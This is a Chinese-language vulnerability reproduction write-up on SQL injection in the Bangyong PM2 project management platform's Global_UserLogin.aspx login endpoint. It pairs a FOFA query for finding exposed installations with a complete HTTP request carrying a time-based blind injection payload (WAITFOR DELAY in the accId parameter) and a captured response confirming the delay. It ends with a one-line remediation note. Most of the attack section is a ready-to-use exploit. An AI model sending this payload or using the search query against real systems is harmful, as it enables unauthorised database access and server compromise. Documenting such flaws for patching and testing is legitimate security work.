

# B2-1邦永-项目管理系统-SQL

## 漏洞描述：

邦永科技PM2项目管理平台Global\_UserLogin.aspx接口处未对用户传入的参数未进行有效的过滤，直接拼接至SQL查询的语句中，导致SQL注入漏洞，攻击者可利用该漏洞获取数据库的敏感信息，深入利用可造成服务器失陷。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: body="PM2项目管理系统BS版增强工具.zip"

## 漏洞复现：

### payload:

```
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode=&password=&type= HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
```

效果图:延时5秒

Request

< > 数据包扫描 热加载 构造请求

1 GET /Global/Global\_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode=&password=&type= HTTP/1.1

2 Host : :8090

3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

5 Accept-Encoding: gzip, deflate

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Responses 59bytes / 5054ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/10.0

5 Set-Cookie: ASP.NET\_SessionId=duytxjwez5g

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Wed, 22 Nov 2023 11:40:30 GMT

9 Content-Length: 59

10

11 无法找到编号为[1';WAITFOR+DELAY+'0:0:5'--

## 修复建议：

关闭互联网暴露面或接口设置外部访问权限 升级至安全版本